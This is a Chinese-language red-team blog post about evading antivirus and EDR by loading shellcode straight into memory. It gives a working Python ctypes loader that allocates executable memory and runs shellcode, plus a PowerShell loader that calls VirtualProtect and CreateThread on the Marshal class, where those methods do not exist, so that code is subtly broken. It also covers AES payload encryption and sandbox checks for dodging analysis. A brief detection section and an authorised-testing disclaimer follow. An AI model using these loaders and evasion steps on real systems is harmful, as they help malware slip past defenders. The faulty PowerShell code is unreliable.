0x01 初识内存加载的神秘世界
当我们谈论内存加载免杀技术时,往往会想起那些经典的红队操作,通过直接在内存中执行恶意代码,以绕过传统的文件监控和检测手段。这种技术的核心在于,将恶意代码加载到目标系统的内存中并执行,而不在磁盘上留下任何有形的文件痕迹。这样一来,安全软件就无法通过文件特征来进行检测。内存加载免杀技术通常利用操作系统提供的API来直接操作内存,这也使得它在提高隐蔽性和对抗防御措施方面极具优势。
有一次,我在一个模拟APT攻击的红队演练中,使用了内存加载技术来隐藏我的payload,成功地绕过了目标环境中的多层防御。今天,我将分享在这次实战演练中的一些思考和技术细节。
0x02 实战环境构建:打造你的试验场
在进行内存加载实战之前,我们需要一个安全的环境来测试我们的技术。这一节,我会带你构建一个简约却实用的攻击测试环境。我们的靶机将运行Windows操作系统,并安装主流的杀毒软件和EDR解决方案,以模拟真实的企业防御环境。
环境准备

- 虚拟机软件:使用VirtualBox或VMware来创建虚拟机。
- 操作系统:安装Windows 10专业版作为靶机。
- 安全软件:安装知名的杀毒软件如Windows Defender,并配置启用EDR功能。
- 攻击机:建议使用Kali Linux或Parrot OS,配置好Metasploit和其他需要的攻击工具。
网络配置
- 将攻击机与靶机配置在同一网络段,以便于测试网络通讯。
- 配置虚拟机的网络适配器为NAT模式,确保靶机可以访问互联网(有助于测试C2回连功能)。

通过这样的配置,我们就能够在一个相对安全的环境中测试我们的攻击技术,而不必担心影响到其他系统。
0x03 Payload构造的艺术:在内存中跳舞
内存加载技术的一个关键环节就是Payload的构造。我们需要确保构造的Payload能够在内存中优雅地执行而不被检测。本节将详细介绍如何使用Python和PowerShell来构造一个可以在内存中执行的Payload。
Python和Ctypes的魔力
Python的ctypes库是一个强大的工具,它允许我们调用C语言的库函数,直接操作内存。
<pre><code class="language-python">import ctypes
加载kernel32.dll
kernel32 = ctypes.windll.kernel32
定义我们的shellcode
shellcode = bytearray( b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
省略部分shellcode
)
申请内存,并将shellcode写入其中
ptr = kernel32.VirtualAlloc( None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
执行shellcode
handle = kernel32.CreateThread( None, 0, ptr, None, 0, ctypes.byref(ctypes.c_ulong(0))) kernel32.WaitForSingleObject(handle, -1)</code></pre>
PowerShell的隐匿执行
PowerShell是另一个强大的工具,通过内置的.Net Framework,我们可以实现高效的内存加载。
<pre><code class="language-powershell">$shellcode = [Byte[]]( 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,
省略部分shellcode
)
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $ptr, $shellcode.Length) $oldProtect = 0 [System.Runtime.InteropServices.Marshal]::VirtualProtect($ptr, $shellcode.Length, 0x40, [ref]$oldProtect) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $ptr, $shellcode.Length) $threadHandle = [System.Runtime.InteropServices.Marshal]::CreateThread(0, 0, $ptr, 0, 0, 0) [System.Runtime.InteropServices.Marshal]::WaitForSingleObject($threadHandle, 0xFFFFFFFF)</code></pre>
这些代码的核心是通过分配内存、写入shellcode并设置适当的内存保护标志,从而在内存中直接执行代码。通过这种方法,我们可以有效地隐藏我们的Payload。
0x04 绕过与免杀的修罗场
在对抗现代防御产品时,简单的内存加载已经不够用了。我们需要更多的技巧来避开EDR和AV的检测。这一节,我将分享一些我在攻防实践中使用的免杀技巧。
混淆与加密
首先,混淆和加密是对抗静态分析的利器。将我们的Payload进行混淆处理,使得其在静态分析时显得无害。此外,对Payload进行简单的加密,并在内存加载前解密,也是一种常见的免杀手段。
<pre><code class="language-python">from Crypto.Cipher import AES import base64
使用AES对payload进行加密
key = b'This is a key123' cipher = AES.new(key, AES.MODE_EAX) nonce = cipher.nonce ciphertext, tag = cipher.encrypt_and_digest(shellcode)
在内存加载前进行解密
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce) plaintext = cipher.decrypt(ciphertext)</code></pre>
内存特征规避
其次,我们要注意规避内存特征。现代的EDR产品会对内存中的代码进行扫描,因此我们的shellcode中不应该包含任何可疑的字符串或特征码。通过在shellcode中插入无害指令,甚至使用一些自定义的编码方式,来干扰EDR的特征码匹配。
动态分析对抗
最后,对抗动态分析。一些EDR产品会尝试通过沙盒环境执行我们的Payload,以分析其行为。我们可以通过检查环境特征,如进程名、系统时间等,来判断是否处于沙盒中,并在检测到沙盒环境时终止执行。
0x05 防不胜防?检测与防御指南

虽然内存加载技术提供了强大的隐蔽性,但防御者并不是完全无能为力。在这一节,我将分享一些检测与防御的思路。
内存扫描技术
内存扫描是检测内存加载的有效方法。通过分析进程内存中的可执行页,发现那些异常的代码段。现代EDR产品通常会定期扫描内存中的可执行代码,寻找未签名或异常的代码段。
行为分析
依赖于行为监控的EDR产品可以通过捕获系统调用和进程行为来检测异常活动。例如,频繁的内存分配和代码执行行为可能会触发报警。
快速响应
建立快速的响应机制,在检测到异常行为后,能够迅速地对攻击进行隔离和响应,从而将损失降到最低。
0x06 经验之谈:从实战中习得的智慧
作为一名红队攻击专家,我在多次演练和实战中积累了一些经验。内存加载技术虽然强大,但并不是万能的。攻击者需要不断学习和更新技术,与防御者的对抗从来都不是一劳永逸的。
灵活性与创新
在每一次攻击中,灵活性和创新都是制胜的关键。不要拘泥于一种技术或工具,尝试不同的方法和思路,以适应不断变化的安全环境。
持续学习
安全领域的技术日新月异,只有持续学习、不断更新自己的知识储备,才能在攻防对抗中保持优势。
这篇文章仅供授权安全测试,供安全研究人员学习。在实际操作中,请遵循法律法规,确保所有测试均获得授权。希望这篇深入的技术笔记能对你有所启发,为你的红队之路增添一分助力。